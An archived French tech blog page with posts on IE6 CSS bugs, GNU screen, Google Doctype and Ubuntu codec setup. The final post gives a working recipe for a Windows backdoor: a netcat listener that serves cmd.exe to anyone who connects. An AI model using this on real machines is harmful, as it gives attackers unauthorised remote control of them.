Skip to content

Date archive for: mai 2008

Ces satanés bugs IE

Si vous développez régulièrement des sites web et utilisez des CSSs, vous avez forcément déjà été confrontés aux bugs d’Internet Explorer dans leur interprétation.

Et comme souvent en entreprise, pas possible de laisser tomber la compatibilité IE.

Voici quelques uns des soucis les plus courants sous IE :

Le modèle de boîtes

Un des bugs les plus courants d’IE : si vous déclarez le div suivant :

div#box {
   width: 100px;
   border: 2px solid black;
   padding: 10px;
}

IE 6 affichera une boîte de 100px.
La norme CSS demande une boîte de 124px.

Une solution est de ne pas utiliser de padding et d’imbriquer plusieurs boîtes … loin d’être idéal pour la lisibilité.

La double marge

En utilisant le code suivant, les marges seront doublées sous IE 6 :

div#box {
float: right;
margin-right: 20px;
}

Vous obtiendrez une marge de 40px. Pour résoudre ce problème, ajoutez un display: inline; à la définition du div.

Pas de min-width ou min-height
Ca c’est top : IE ignore purement et simplement les min-width et min-height.
[ Une solution possible ]

Sauts de ligne après les floats
Quand vous utilisez des floats avec IE6, vous pouvez avoir la bonne blague de les voir se décaler vers le bas :

Une solution est de mettre la *line-height* du parent à 0. Plus d’informations sur cette page :
[ Preventing StepDown ]

Pas de gestion des PNGs transparents
Bon, on va arrêter là, yen a plein d’autres !
Allez faire un tour sur le site suivant, vous trouverez le détail des différents éléments et d’autres solutions !

[ IE CSS Bugs That’ll Get You Every Time – CSS-Tricks ]

Google Doctype

Google vient d’ouvrir Google Doctype, faisant partie de Google Code.

Google Doctype est une bibliothèque de référence écrite par les développeurs web pour les développeurs web.

Vous y trouverez des articles sur :

  • la sécurit des sites web
  • le DOM en javascript
  • l’utilisation des CSS
  • et plein d’autres choses

Le tout est évidemment entièrement libre.

[ Google Doctype – Google Code ]

Le multifenêtrage en mode texte sous Linux

Si vous utilisez Linux en mode console, voici un utilitaire dont vous ne pourrez plus vous passer une fois que vous l’aurez testé : screen

Pour le lancement, c’est simple :

screen

A partir de là, vous avez l’impression de travailler dans un terminal normal, mais en fait vous êtes dans quelque chose de beaucoup plus puissant : Vous pouvez faire tourner plusieurs consoles en parallèle, passer de l’une à l’autre, et même en lancer en tâche de fond.

Vous avez désormais accès à plusieurs options par l’intermédiaire du raccourci :

Ctrl-a <touche de fonction>

Les touches de fonctions sont :

  • c : Crée une nouvelle « fenêtre »
  • n : Passe à la fenêtre suivante
  • p : Passe à la fenêtre précédente
  • «  : Permet de sélectionner une fenêtre dans la liste
  • A : Permet de nommer une fenêtre
  • k : Tue la fenêtre en cours (il est préférable de quitter le shell)

Et … la commande qui tue :

ctrl-a d

pour détacher la fenêtre. Ca fait quoi ? Et bien ça fait tourner votre processus en tâche de fond, vous pouvez même quitter votre terminal et revenir plus tard.

Utilisez alors la commande suivante pour retrouver votre fenêtre :

screen -r

(si plusieurs fenêtres sont ouvertes, la commande listera leur pid et vous n’aurez plus qu’à taper screen -r <pid> pour vous reconnecter)

Essayez, c’est vraiment super pratique !

Je vous laisse creuser si vous voulez customiser l’alure de screen avec le fichier screenrc !

[ A dummies introduction to GNU Screen ]

Ubuntu 8.04 : La vidéo sous linux

Voici plusieurs éléments pour bien configurer mplayer et des codecs vidéo avec Hardy Heron.

Installer Mplayer avec Ubuntu Linux 8.04

Tout d’abord, vous devez activer les sources multiverse dans votre fichiers sources.list pour pouvoir installer les packages communautaires:

sudo gedit /etc/apt/sources.list

Et ajoutez :

deb http://archive.ubuntu.com/ubuntu hardy universe multiverse
deb-src http://archive.ubuntu.com/ubuntu hardy universe multiverse

Lancez alors la mise à jour du gestionnaire de packages :

sudo apt-get update

Lancez la commande suivante pour installer mplayer :

sudo apt-get install mplayer

Et voilà, c’est installé ! Tapez :

gmplayer

pour lancer mplayer.

Installer libdvdcss2 et les codecs w32

Pour pouvoir lire les fichiers WMV, RealMedia et certains autres codecs, vous devez installer le package w32codecs. Celui-ci n’est pas disponible depuis les repositories ubuntu à cause de restrictions légales.

Sous Ubuntu 8.04 (Hardy Heron) utilisez la commande suivante pour ajouter le dépot correspondant :

sudo wget http://www.medibuntu.org/sources.list.d/hardy.list -O /etc/apt/sources.list.d/medibuntu.list

Ajoutez ensuite la clé GPG de ce dépot avec les commandes :

sudo apt-get update

sudo apt-get install medibuntu-keyring

sudo apt-get update

Pour installer les codecs sur une architecture 32bits, lancez la commande :

sudo apt-get install w32codecs libdvdcss2

Sur une architecture 64 bits :

sudo apt-get install w64codecs libdvdcss2

Le plugin Mplayer pour Firefox

Finalement, si vous voulez lire des vidéos sous firefox, installez le plugin mplayer :

sudo apt-get install mozilla-mplayer

Créer une backdoor sous windows ? Facile !!

Netcat, aussi surnommé le couteau suisse du TCP/IP, peut être utilisé aussi bien pour de bonnes choses que pour de mauvaises.

La preuve, Netcat peut servir à créer facilement des backdoors sous Windows.

  • Téléchargez la version Windows de Netcat.
  • Dézippez nc.exe dans le répertoire :

%SYSTEMROOT%\system32

  • Lancez la commande :

nc -d -L -e cmd.exe -p 10001
(Remplacez 10001 par le port qui vous intéresse)

  • Vous pouvez alors accéder à la machine à l’aide de la commande :

telnet X.X.X.X 10001

Et voilà, la démonstration est faite que même des outils très pratiques peuvent mal tourner dans de mauvaises mains !

[ HOW TO: Create a Back Door on Microsoft Windows ]
[ Netcat ]

Update:

[ Netcat ]